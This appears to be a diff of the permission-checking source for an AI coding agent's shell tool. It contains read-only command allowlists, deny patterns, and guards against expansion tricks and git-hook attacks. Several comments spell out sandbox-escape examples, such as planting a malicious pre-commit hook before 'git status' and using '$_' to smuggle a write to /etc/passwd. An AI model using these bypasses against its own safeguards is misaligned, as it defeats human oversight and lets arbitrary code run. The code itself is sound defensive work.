/^echo(?:\s+(?:'[^']*'|"[^"$<>\n\r]*"|[^|;&`$(){}><#\\!"'\s]+))*(?:\s+2>&1)?\s*$/,
|
| 1517 |
+
|
| 1518 |
+
// Claude CLI help
|
| 1519 |
+
/^claude -h$/,
|
| 1520 |
+
/^claude --help$/,
|
| 1521 |
+
|
| 1522 |
+
// Git readonly commands are now handled via COMMAND_ALLOWLIST with explicit flag validation
|
| 1523 |
+
// (git status, git blame, git ls-files, git config --get, git remote, git tag, git branch)
|
| 1524 |
+
|
| 1525 |
+
/^uniq(?:\s+(?:-[a-zA-Z]+|--[a-zA-Z-]+(?:=\S+)?|-[fsw]\s+\d+))*(?:\s|$)\s*$/, // Only allow flags, no input/output files
|
| 1526 |
+
|
| 1527 |
+
// System info
|
| 1528 |
+
/^pwd$/,
|
| 1529 |
+
/^whoami$/,
|
| 1530 |
+
// env and printenv removed - could expose sensitive environment variables
|
| 1531 |
+
|
| 1532 |
+
// Development tools version checking - exact match only, no suffix allowed.
|
| 1533 |
+
// SECURITY: `node -v --run <task>` would execute package.json scripts because
|
| 1534 |
+
// Node processes --run before -v. Python/python3 --version are also anchored
|
| 1535 |
+
// for defense-in-depth. These were previously in EXTERNAL_READONLY_COMMANDS which
|
| 1536 |
+
// flows through makeRegexForSafeCommand and permits arbitrary suffixes.
|
| 1537 |
+
/^node -v$/,
|
| 1538 |
+
/^node --version$/,
|
| 1539 |
+
/^python --version$/,
|
| 1540 |
+
/^python3 --version$/,
|
| 1541 |
+
|
| 1542 |
+
// Misc. safe commands
|
| 1543 |
+
// tree command moved to COMMAND_ALLOWLIST for proper flag validation (blocks -o/--output)
|
| 1544 |
+
/^history(?:\s+\d+)?\s*$/, // Only allow bare history or history with numeric argument - prevents file writing
|
| 1545 |
+
/^alias$/,
|
| 1546 |
+
/^arch(?:\s+(?:--help|-h))?\s*$/, // Only allow arch with help flags or no arguments
|
| 1547 |
+
|
| 1548 |
+
// Network commands - only allow exact commands with no arguments to prevent network manipulation
|
| 1549 |
+
/^ip addr$/, // Only allow "ip addr" with no additional arguments
|
| 1550 |
+
/^ifconfig(?:\s+[a-zA-Z][a-zA-Z0-9_-]*)?\s*$/, // Allow ifconfig with interface name only (must start with letter)
|
| 1551 |
+
|
| 1552 |
+
// JSON processing with jq - allow with inline filters and file arguments
|
| 1553 |
+
// File arguments are validated separately by pathValidation.ts
|
| 1554 |
+
// Allow pipes and complex expressions within quotes but prevent dangerous flags
|
| 1555 |
+
// Block command substitution - backticks are dangerous even in single quotes for jq
|
| 1556 |
+
// Block -f/--from-file, --rawfile, --slurpfile (read files into jq), --run-tests, -L/--library-path (load executable modules)
|
| 1557 |
+
// Block 'env' builtin and '$ENV' object which can access environment variables (defense in depth)
|
| 1558 |
+
/^jq(?!\s+.*(?:-f\b|--from-file|--rawfile|--slurpfile|--run-tests|-L\b|--library-path|\benv\b|\$ENV\b))(?:\s+(?:-[a-zA-Z]+|--[a-zA-Z-]+(?:=\S+)?))*(?:\s+'[^'`]*'|\s+"[^"`]*"|\s+[^-\s'"][^\s]*)+\s*$/,
|
| 1559 |
+
|
| 1560 |
+
// Path commands (path validation ensures they're allowed)
|
| 1561 |
+
// cd command - allows changing to directories
|
| 1562 |
+
/^cd(?:\s+(?:'[^']*'|"[^"]*"|[^\s;|&`$(){}><#\\]+))?$/,
|
| 1563 |
+
// ls command - allows listing directories
|
| 1564 |
+
/^ls(?:\s+[^<>()$`|{}&;\n\r]*)?$/,
|
| 1565 |
+
// find command - blocks dangerous flags
|
| 1566 |
+
// Allow escaped parentheses \( and \) for grouping, but block unescaped ones
|
| 1567 |
+
// NOTE: \\[()] must come BEFORE the character class to ensure \( is matched as an escaped paren,
|
| 1568 |
+
// not as backslash + paren (which would fail since paren is excluded from the character class)
|
| 1569 |
+
/^find(?:\s+(?:\\[()]|(?!-delete\b|-exec\b|-execdir\b|-ok\b|-okdir\b|-fprint0?\b|-fls\b|-fprintf\b)[^<>()$`|{}&;\n\r\s]|\s)+)?$/,
|
| 1570 |
+
])
|
| 1571 |
+
|
| 1572 |
+
/**
|
| 1573 |
+
* Checks if a command contains glob characters (?, *, [, ]) or expandable `$`
|
| 1574 |
+
* variables OUTSIDE the quote contexts where bash would treat them as literal.
|
| 1575 |
+
* These could expand to bypass our regex-based security checks.
|
| 1576 |
+
*
|
| 1577 |
+
* Glob examples:
|
| 1578 |
+
* - `python *` could expand to `python --help` if a file named `--help` exists
|
| 1579 |
+
* - `find ./ -?xec` could expand to `find ./ -exec` if such a file exists
|
| 1580 |
+
* Globs are literal inside BOTH single and double quotes.
|
| 1581 |
+
*
|
| 1582 |
+
* Variable expansion examples:
|
| 1583 |
+
* - `uniq --skip-chars=0$_` → `$_` expands to last arg of previous command;
|
| 1584 |
+
* with IFS word splitting, this smuggles positional args past "flags-only"
|
| 1585 |
+
* regexes. `echo " /etc/passwd /tmp/x"; uniq --skip-chars=0$_` → FILE WRITE.
|
| 1586 |
+
* - `cd "$HOME"` → double-quoted `$HOME` expands at runtime.
|
| 1587 |
+
* Variables are literal ONLY inside single quotes; they expand inside double
|
| 1588 |
+
* quotes and unquoted.
|
| 1589 |
+
*
|
| 1590 |
+
* The `$` check guards the READONLY_COMMAND_REGEXES fallback path. The `$`
|
| 1591 |
+
* token check in isCommandSafeViaFlagParsing only covers COMMAND_ALLOWLIST
|
| 1592 |
+
* commands; hand-written regexes like uniq's `\S+` and cd's `"[^"]*"` allow `$`.
|
| 1593 |
+
* Matches `$` followed by `[A-Za-z_@*#?!$0-9-]` covering `$VAR`, `$_`, `$@`,
|
| 1594 |
+
* `$*`, `$#`, `$?`, `$!`, `$$`, `$-`, `$0`-`$9`. Does NOT match `${` or `$(` —
|
| 1595 |
+
* those are caught by COMMAND_SUBSTITUTION_PATTERNS in bashSecurity.ts.
|
| 1596 |
+
*
|
| 1597 |
+
* @param command The command string to check
|
| 1598 |
+
* @returns true if the command contains unquoted glob or expandable `$`
|
| 1599 |
+
*/
|
| 1600 |
+
function containsUnquotedExpansion(command: string): boolean {
|
| 1601 |
+
// Track quote state to avoid false positives for patterns inside quoted strings
|
| 1602 |
+
let inSingleQuote = false
|
| 1603 |
+
let inDoubleQuote = false
|
| 1604 |
+
let escaped = false
|
| 1605 |
+
|
| 1606 |
+
for (let i = 0; i < command.length; i++) {
|
| 1607 |
+
const currentChar = command[i]
|
| 1608 |
+
|
| 1609 |
+
// Handle escape sequences
|
| 1610 |
+
if (escaped) {
|
| 1611 |
+
escaped = false
|
| 1612 |
+
continue
|
| 1613 |
+
}
|
| 1614 |
+
|
| 1615 |
+
// SECURITY: Only treat backslash as escape OUTSIDE single quotes. In bash,
|
| 1616 |
+
// `\` inside `'...'` is LITERAL — it does not escape the next character.
|
| 1617 |
+
// Without this guard, `'\'` desyncs the quote tracker: the `\` sets
|
| 1618 |
+
// escaped=true, then the closing `'` is consumed by the escaped-skip
|
| 1619 |
+
// instead of toggling inSingleQuote. Parser stays in single-quote
|
| 1620 |
+
// mode for the rest of the command, missing ALL subsequent expansions.
|
| 1621 |
+
// Example: `ls '\' *` — bash sees glob `*`, but desynced parser thinks
|
| 1622 |
+
// `*` is inside quotes → returns false (glob NOT detected).
|
| 1623 |
+
// Defense-in-depth: hasShellQuoteSingleQuoteBug catches `'\'` patterns
|
| 1624 |
+
// before this function is reached, but we fix the tracker anyway for
|
| 1625 |
+
// consistency with the correct implementations in bashSecurity.ts.
|
| 1626 |
+
if (currentChar === '\\' && !inSingleQuote) {
|
| 1627 |
+
escaped = true
|
| 1628 |
+
continue
|
| 1629 |
+
}
|
| 1630 |
+
|
| 1631 |
+
// Update quote state
|
| 1632 |
+
if (currentChar === "'" && !inDoubleQuote) {
|
| 1633 |
+
inSingleQuote = !inSingleQuote
|
| 1634 |
+
continue
|
| 1635 |
+
}
|
| 1636 |
+
|
| 1637 |
+
if (currentChar === '"' && !inSingleQuote) {
|
| 1638 |
+
inDoubleQuote = !inDoubleQuote
|
| 1639 |
+
continue
|
| 1640 |
+
}
|
| 1641 |
+
|
| 1642 |
+
// Inside single quotes: everything is literal. Skip.
|
| 1643 |
+
if (inSingleQuote) {
|
| 1644 |
+
continue
|
| 1645 |
+
}
|
| 1646 |
+
|
| 1647 |
+
// Check `$` followed by variable-name or special-parameter character.
|
| 1648 |
+
// `$` expands inside double quotes AND unquoted (only SQ makes it literal).
|
| 1649 |
+
if (currentChar === '$') {
|
| 1650 |
+
const next = command[i + 1]
|
| 1651 |
+
if (next && /[A-Za-z_@*#?!$0-9-]/.test(next)) {
|
| 1652 |
+
return true
|
| 1653 |
+
}
|
| 1654 |
+
}
|
| 1655 |
+
|
| 1656 |
+
// Globs are literal inside double quotes too. Only check unquoted.
|
| 1657 |
+
if (inDoubleQuote) {
|
| 1658 |
+
continue
|
| 1659 |
+
}
|
| 1660 |
+
|
| 1661 |
+
// Check for glob characters outside all quotes.
|
| 1662 |
+
// These could expand to anything, including dangerous flags.
|
| 1663 |
+
if (currentChar && /[?*[\]]/.test(currentChar)) {
|
| 1664 |
+
return true
|
| 1665 |
+
}
|
| 1666 |
+
}
|
| 1667 |
+
|
| 1668 |
+
return false
|
| 1669 |
+
}
|
| 1670 |
+
|
| 1671 |
+
/**
|
| 1672 |
+
* Checks if a single command string is read-only based on READONLY_COMMAND_REGEXES.
|
| 1673 |
+
* Internal helper function that validates individual commands.
|
| 1674 |
+
*
|
| 1675 |
+
* @param command The command string to check
|
| 1676 |
+
* @returns true if the command is read-only
|
| 1677 |
+
*/
|
| 1678 |
+
function isCommandReadOnly(command: string): boolean {
|
| 1679 |
+
// Handle common stderr-to-stdout redirection pattern
|
| 1680 |
+
// This handles both "command 2>&1" at the end of a full command
|
| 1681 |
+
// and "command 2>&1" as part of a pipeline component
|
| 1682 |
+
let testCommand = command.trim()
|
| 1683 |
+
if (testCommand.endsWith(' 2>&1')) {
|
| 1684 |
+
// Remove the stderr redirection for pattern matching
|
| 1685 |
+
testCommand = testCommand.slice(0, -5).trim()
|
| 1686 |
+
}
|
| 1687 |
+
|
| 1688 |
+
// Check for Windows UNC paths that could be vulnerable to WebDAV attacks
|
| 1689 |
+
// Do this early to prevent any command with UNC paths from being marked as read-only
|
| 1690 |
+
if (containsVulnerableUncPath(testCommand)) {
|
| 1691 |
+
return false
|
| 1692 |
+
}
|
| 1693 |
+
|
| 1694 |
+
// Check for unquoted glob characters and expandable `$` variables that could
|
| 1695 |
+
// bypass our regex-based security checks. We can't know what these expand to
|
| 1696 |
+
// at runtime, so we can't verify the command is read-only.
|
| 1697 |
+
//
|
| 1698 |
+
// Globs: `python *` could expand to `python --help` if such a file exists.
|
| 1699 |
+
//
|
| 1700 |
+
// Variables: `uniq --skip-chars=0$_` — bash expands `$_` at runtime to the
|
| 1701 |
+
// last arg of the previous command. With IFS word splitting, this smuggles
|
| 1702 |
+
// positional args past "flags-only" regexes like uniq's `\S+`. The `$` token
|
| 1703 |
+
// check inside isCommandSafeViaFlagParsing only covers COMMAND_ALLOWLIST
|
| 1704 |
+
// commands; hand-written regexes in READONLY_COMMAND_REGEXES (uniq, jq, cd)
|
| 1705 |
+
// have no such guard. See containsUnquotedExpansion for full analysis.
|
| 1706 |
+
if (containsUnquotedExpansion(testCommand)) {
|
| 1707 |
+
return false
|
| 1708 |
+
}
|
| 1709 |
+
|
| 1710 |
+
// Tools like git allow `--upload-pack=cmd` to be abbreviated as `--up=cmd`
|
| 1711 |
+
// Regex filters can be bypassed, so we use strict allowlist validation instead.
|
| 1712 |
+
// This requires defining a set of known safe flags. Claude can help with this,
|
| 1713 |
+
// but please look over it to ensure it didn't add any flags that allow file writes
|
| 1714 |
+
// code execution, or network requests.
|
| 1715 |
+
if (isCommandSafeViaFlagParsing(testCommand)) {
|
| 1716 |
+
return true
|
| 1717 |
+
}
|
| 1718 |
+
|
| 1719 |
+
for (const regex of READONLY_COMMAND_REGEXES) {
|
| 1720 |
+
if (regex.test(testCommand)) {
|
| 1721 |
+
// Prevent git commands with -c flag to avoid config options that can lead to code execution
|
| 1722 |
+
// The -c flag allows setting arbitrary git config values inline, including dangerous ones like
|
| 1723 |
+
// core.fsmonitor, diff.external, core.gitProxy, etc. that can execute arbitrary commands
|
| 1724 |
+
// Check for -c preceded by whitespace and followed by whitespace or equals
|
| 1725 |
+
// Using regex to catch spaces, tabs, and other whitespace (not part of other flags like --cached)
|
| 1726 |
+
if (testCommand.includes('git') && /\s-c[\s=]/.test(testCommand)) {
|
| 1727 |
+
return false
|
| 1728 |
+
}
|
| 1729 |
+
|
| 1730 |
+
// Prevent git commands with --exec-path flag to avoid path manipulation that can lead to code execution
|
| 1731 |
+
// The --exec-path flag allows overriding the directory where git looks for executables
|
| 1732 |
+
if (
|
| 1733 |
+
testCommand.includes('git') &&
|
| 1734 |
+
/\s--exec-path[\s=]/.test(testCommand)
|
| 1735 |
+
) {
|
| 1736 |
+
return false
|
| 1737 |
+
}
|
| 1738 |
+
|
| 1739 |
+
// Prevent git commands with --config-env flag to avoid config injection via environment variables
|
| 1740 |
+
// The --config-env flag allows setting git config values from environment variables, which can be
|
| 1741 |
+
// just as dangerous as -c flag (e.g., core.fsmonitor, diff.external, core.gitProxy)
|
| 1742 |
+
if (
|
| 1743 |
+
testCommand.includes('git') &&
|
| 1744 |
+
/\s--config-env[\s=]/.test(testCommand)
|
| 1745 |
+
) {
|
| 1746 |
+
return false
|
| 1747 |
+
}
|
| 1748 |
+
return true
|
| 1749 |
+
}
|
| 1750 |
+
}
|
| 1751 |
+
return false
|
| 1752 |
+
}
|
| 1753 |
+
|
| 1754 |
+
/**
|
| 1755 |
+
* Checks if a compound command contains any git command.
|
| 1756 |
+
*
|
| 1757 |
+
* @param command The full command string to check
|
| 1758 |
+
* @returns true if any subcommand is a git command
|
| 1759 |
+
*/
|
| 1760 |
+
function commandHasAnyGit(command: string): boolean {
|
| 1761 |
+
return splitCommand_DEPRECATED(command).some(subcmd =>
|
| 1762 |
+
isNormalizedGitCommand(subcmd.trim()),
|
| 1763 |
+
)
|
| 1764 |
+
}
|
| 1765 |
+
|
| 1766 |
+
/**
|
| 1767 |
+
* Git-internal path patterns that can be exploited for sandbox escape.
|
| 1768 |
+
* If a command creates these files and then runs git, the git command
|
| 1769 |
+
* could execute malicious hooks from the created files.
|
| 1770 |
+
*/
|
| 1771 |
+
const GIT_INTERNAL_PATTERNS = [
|
| 1772 |
+
/^HEAD$/,
|
| 1773 |
+
/^objects(?:\/|$)/,
|
| 1774 |
+
/^refs(?:\/|$)/,
|
| 1775 |
+
/^hooks(?:\/|$)/,
|
| 1776 |
+
]
|
| 1777 |
+
|
| 1778 |
+
/**
|
| 1779 |
+
* Checks if a path is a git-internal path (HEAD, objects/, refs/, hooks/).
|
| 1780 |
+
*/
|
| 1781 |
+
function isGitInternalPath(path: string): boolean {
|
| 1782 |
+
// Normalize path by removing leading ./ or /
|
| 1783 |
+
const normalized = path.replace(/^\.?\//, '')
|
| 1784 |
+
return GIT_INTERNAL_PATTERNS.some(pattern => pattern.test(normalized))
|
| 1785 |
+
}
|
| 1786 |
+
|
| 1787 |
+
// Commands that only delete or modify in-place (don't create new files at new paths)
|
| 1788 |
+
const NON_CREATING_WRITE_COMMANDS = new Set(['rm', 'rmdir', 'sed'])
|
| 1789 |
+
|
| 1790 |
+
/**
|
| 1791 |
+
* Extracts write paths from a subcommand using PATH_EXTRACTORS.
|
| 1792 |
+
* Only returns paths for commands that can create new files/directories
|
| 1793 |
+
* (write/create operations excluding deletion and in-place modification).
|
| 1794 |
+
*/
|
| 1795 |
+
function extractWritePathsFromSubcommand(subcommand: string): string[] {
|
| 1796 |
+
const parseResult = tryParseShellCommand(subcommand, env => `$${env}`)
|
| 1797 |
+
if (!parseResult.success) return []
|
| 1798 |
+
|
| 1799 |
+
const tokens = parseResult.tokens.filter(
|
| 1800 |
+
(t): t is string => typeof t === 'string',
|
| 1801 |
+
)
|
| 1802 |
+
if (tokens.length === 0) return []
|
| 1803 |
+
|
| 1804 |
+
const baseCmd = tokens[0]
|
| 1805 |
+
if (!baseCmd) return []
|
| 1806 |
+
|
| 1807 |
+
// Only consider commands that can create files at target paths
|
| 1808 |
+
if (!(baseCmd in COMMAND_OPERATION_TYPE)) {
|
| 1809 |
+
return []
|
| 1810 |
+
}
|
| 1811 |
+
const opType = COMMAND_OPERATION_TYPE[baseCmd as PathCommand]
|
| 1812 |
+
if (
|
| 1813 |
+
(opType !== 'write' && opType !== 'create') ||
|
| 1814 |
+
NON_CREATING_WRITE_COMMANDS.has(baseCmd)
|
| 1815 |
+
) {
|
| 1816 |
+
return []
|
| 1817 |
+
}
|
| 1818 |
+
|
| 1819 |
+
const extractor = PATH_EXTRACTORS[baseCmd as PathCommand]
|
| 1820 |
+
if (!extractor) return []
|
| 1821 |
+
|
| 1822 |
+
return extractor(tokens.slice(1))
|
| 1823 |
+
}
|
| 1824 |
+
|
| 1825 |
+
/**
|
| 1826 |
+
* Checks if a compound command writes to any git-internal paths.
|
| 1827 |
+
* This is used to detect potential sandbox escape attacks where a command
|
| 1828 |
+
* creates git-internal files (HEAD, objects/, refs/, hooks/) and then runs git.
|
| 1829 |
+
*
|
| 1830 |
+
* SECURITY: A compound command could bypass the bare repo detection by:
|
| 1831 |
+
* 1. Creating bare git repo files (HEAD, objects/, refs/, hooks/) in the same command
|
| 1832 |
+
* 2. Then running git, which would execute malicious hooks
|
| 1833 |
+
*
|
| 1834 |
+
* Example attack:
|
| 1835 |
+
* mkdir -p objects refs hooks && echo '#!/bin/bash\nmalicious' > hooks/pre-commit && touch HEAD && git status
|
| 1836 |
+
*
|
| 1837 |
+
* @param command The full command string to check
|
| 1838 |
+
* @returns true if any subcommand writes to git-internal paths
|
| 1839 |
+
*/
|
| 1840 |
+
function commandWritesToGitInternalPaths(command: string): boolean {
|
| 1841 |
+
const subcommands = splitCommand_DEPRECATED(command)
|
| 1842 |
+
|
| 1843 |
+
for (const subcmd of subcommands) {
|
| 1844 |
+
const trimmed = subcmd.trim()
|
| 1845 |
+
|
| 1846 |
+
// Check write paths from path-based commands (mkdir, touch, cp, mv)
|
| 1847 |
+
const writePaths = extractWritePathsFromSubcommand(trimmed)
|
| 1848 |
+
for (const path of writePaths) {
|
| 1849 |
+
if (isGitInternalPath(path)) {
|
| 1850 |
+
return true
|
| 1851 |
+
}
|
| 1852 |
+
}
|
| 1853 |
+
|
| 1854 |
+
// Check output redirections (e.g., echo x > hooks/pre-commit)
|
| 1855 |
+
const { redirections } = extractOutputRedirections(trimmed)
|
| 1856 |
+
for (const { target } of redirections) {
|
| 1857 |
+
if (isGitInternalPath(target)) {
|
| 1858 |
+
return true
|
| 1859 |
+
}
|
| 1860 |
+
}
|
| 1861 |
+
}
|
| 1862 |
+
|
| 1863 |
+
return false
|
| 1864 |
+
}
|
| 1865 |
+
|
| 1866 |
+
/**
|
| 1867 |
+
* Checks read-only constraints for bash commands.
|
| 1868 |
+
* This is the single exported function that validates whether a command is read-only.
|
| 1869 |
+
* It handles compound commands, sandbox mode, and safety checks.
|
| 1870 |
+
*
|
| 1871 |
+
* @param input The bash command input to validate
|
| 1872 |
+
* @param compoundCommandHasCd Pre-computed flag indicating if any cd command exists in the compound command.
|
| 1873 |
+
* This is computed by commandHasAnyCd() and passed in to avoid duplicate computation.
|
| 1874 |
+
* @returns PermissionResult indicating whether the command is read-only
|
| 1875 |
+
*/
|
| 1876 |
+
export function checkReadOnlyConstraints(
|
| 1877 |
+
input: z.infer<typeof BashTool.inputSchema>,
|
| 1878 |
+
compoundCommandHasCd: boolean,
|
| 1879 |
+
): PermissionResult {
|
| 1880 |
+
const { command } = input
|
| 1881 |
+
|
| 1882 |
+
// Detect if the command is not parseable and return early
|
| 1883 |
+
const result = tryParseShellCommand(command, env => `$${env}`)
|
| 1884 |
+
if (!result.success) {
|
| 1885 |
+
return {
|
| 1886 |
+
behavior: 'passthrough',
|
| 1887 |
+
message: 'Command cannot be parsed, requires further permission checks',
|
| 1888 |
+
}
|
| 1889 |
+
}
|
| 1890 |
+
|
| 1891 |
+
// Check the original command for safety before splitting
|
| 1892 |
+
// This is important because splitCommand_DEPRECATED may transform the command
|
| 1893 |
+
// (e.g., ${VAR} becomes $VAR)
|
| 1894 |
+
if (bashCommandIsSafe_DEPRECATED(command).behavior !== 'passthrough') {
|
| 1895 |
+
return {
|
| 1896 |
+
behavior: 'passthrough',
|
| 1897 |
+
message: 'Command is not read-only, requires further permission checks',
|
| 1898 |
+
}
|
| 1899 |
+
}
|
| 1900 |
+
|
| 1901 |
+
// Check for Windows UNC paths in the original command before transformation
|
| 1902 |
+
// This must be done before splitCommand_DEPRECATED because splitCommand_DEPRECATED may transform backslashes
|
| 1903 |
+
if (containsVulnerableUncPath(command)) {
|
| 1904 |
+
return {
|
| 1905 |
+
behavior: 'ask',
|
| 1906 |
+
message:
|
| 1907 |
+
'Command contains Windows UNC path that could be vulnerable to WebDAV attacks',
|
| 1908 |
+
}
|
| 1909 |
+
}
|
| 1910 |
+
|
| 1911 |
+
// Check once if any subcommand is a git command (used for multiple security checks below)
|
| 1912 |
+
const hasGitCommand = commandHasAnyGit(command)
|
| 1913 |
+
|
| 1914 |
+
// SECURITY: Block compound commands that have both cd AND git
|
| 1915 |
+
// This prevents sandbox escape via: cd /malicious/dir && git status
|
| 1916 |
+
// where the malicious directory contains fake git hooks that execute arbitrary code.
|
| 1917 |
+
if (compoundCommandHasCd && hasGitCommand) {
|
| 1918 |
+
return {
|
| 1919 |
+
behavior: 'passthrough',
|
| 1920 |
+
message:
|
| 1921 |
+
'Compound commands with cd and git require permission checks for enhanced security',
|
| 1922 |
+
}
|
| 1923 |
+
}
|
| 1924 |
+
|
| 1925 |
+
// SECURITY: Block git commands if the current directory looks like a bare/exploited git repo
|
| 1926 |
+
// This prevents sandbox escape when an attacker has:
|
| 1927 |
+
// 1. Deleted .git/HEAD to invalidate the normal git directory
|
| 1928 |
+
// 2. Created hooks/pre-commit or other git-internal files in the current directory
|
| 1929 |
+
// Git would then treat the cwd as the git directory and execute malicious hooks.
|
| 1930 |
+
if (hasGitCommand && isCurrentDirectoryBareGitRepo()) {
|
| 1931 |
+
return {
|
| 1932 |
+
behavior: 'passthrough',
|
| 1933 |
+
message:
|
| 1934 |
+
'Git commands in directories with bare repository structure require permission checks for enhanced security',
|
| 1935 |
+
}
|
| 1936 |
+
}
|
| 1937 |
+
|
| 1938 |
+
// SECURITY: Block compound commands that write to git-internal paths AND run git
|
| 1939 |
+
// This prevents sandbox escape where a command creates git-internal files
|
| 1940 |
+
// (HEAD, objects/, refs/, hooks/) and then runs git, which would execute
|
| 1941 |
+
// malicious hooks from the newly created files.
|
| 1942 |
+
// Example attack: mkdir -p hooks && echo 'malicious' > hooks/pre-commit && git status
|
| 1943 |
+
if (hasGitCommand && commandWritesToGitInternalPaths(command)) {
|
| 1944 |
+
return {
|
| 1945 |
+
behavior: 'passthrough',
|
| 1946 |
+
message:
|
| 1947 |
+
'Compound commands that create git internal files and run git require permission checks for enhanced security',
|
| 1948 |
+
}
|
| 1949 |
+
}
|
| 1950 |
+
|
| 1951 |
+
// SECURITY: Only auto-allow git commands as read-only if we're in the original cwd
|
| 1952 |
+
// (which is protected by sandbox denyWrite) or if sandbox is disabled (attack is moot).
|
| 1953 |
+
// Race condition: a sandboxed command can create bare repo files in a subdirectory,
|
| 1954 |
+
// and a backgrounded git command (e.g. sleep 10 && git status) would pass the
|
| 1955 |
+
// isCurrentDirectoryBareGitRepo() check at evaluation time before the files exist.
|
| 1956 |
+
if (
|
| 1957 |
+
hasGitCommand &&
|
| 1958 |
+
SandboxManager.isSandboxingEnabled() &&
|
| 1959 |
+
getCwd() !== getOriginalCwd()
|
| 1960 |
+
) {
|
| 1961 |
+
return {
|
| 1962 |
+
behavior: 'passthrough',
|
| 1963 |
+
message:
|
| 1964 |
+
'Git commands outside the original working directory require permission checks when sandbox is enabled',
|
| 1965 |
+
}
|
| 1966 |
+
}
|
| 1967 |
+
|
| 1968 |
+
// Check if all subcommands are read-only
|
| 1969 |
+
const allSubcommandsReadOnly = splitCommand_DEPRECATED(command).every(
|
| 1970 |
+
subcmd => {
|
| 1971 |
+
if (bashCommandIsSafe_DEPRECATED(subcmd).behavior !== 'passthrough') {
|
| 1972 |
+
return false
|
| 1973 |
+
}
|
| 1974 |
+
return isCommandReadOnly(subcmd)
|
| 1975 |
+
},
|
| 1976 |
+
)
|
| 1977 |
+
|
| 1978 |
+
if (allSubcommandsReadOnly) {
|
| 1979 |
+
return {
|
| 1980 |
+
behavior: 'allow',
|
| 1981 |
+
updatedInput: input,
|
| 1982 |
+
}
|
| 1983 |
+
}
|
| 1984 |
+
|
| 1985 |
+
// If not read-only, return passthrough to let other permission checks handle it
|
| 1986 |
+
return {
|
| 1987 |
+
behavior: 'passthrough',
|
| 1988 |
+
message: 'Command is not read-only, requires further permission checks',
|
| 1989 |
+
}
|
| 1990 |
+
}
|
src/tools/BashTool/sedEditParser.ts
ADDED
|
@@ -0,0 +1,322 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
/**
|
| 2 |
+
* Parser for sed edit commands (-i flag substitutions)
|
| 3 |
+
* Extracts file paths and substitution patterns to enable file-edit-style rendering
|
| 4 |
+
*/
|
| 5 |
+
|
| 6 |
+
import { randomBytes } from 'crypto'
|
| 7 |
+
import { tryParseShellCommand } from '../../utils/bash/shellQuote.js'
|
| 8 |
+
|
| 9 |
+
// BRE→ERE conversion placeholders (null-byte sentinels, never appear in user input)
|
| 10 |
+
const BACKSLASH_PLACEHOLDER = '\x00BACKSLASH\x00'
|
| 11 |
+
const PLUS_PLACEHOLDER = '\x00PLUS\x00'
|
| 12 |
+
const QUESTION_PLACEHOLDER = '\x00QUESTION\x00'
|
| 13 |
+
const PIPE_PLACEHOLDER = '\x00PIPE\x00'
|
| 14 |
+
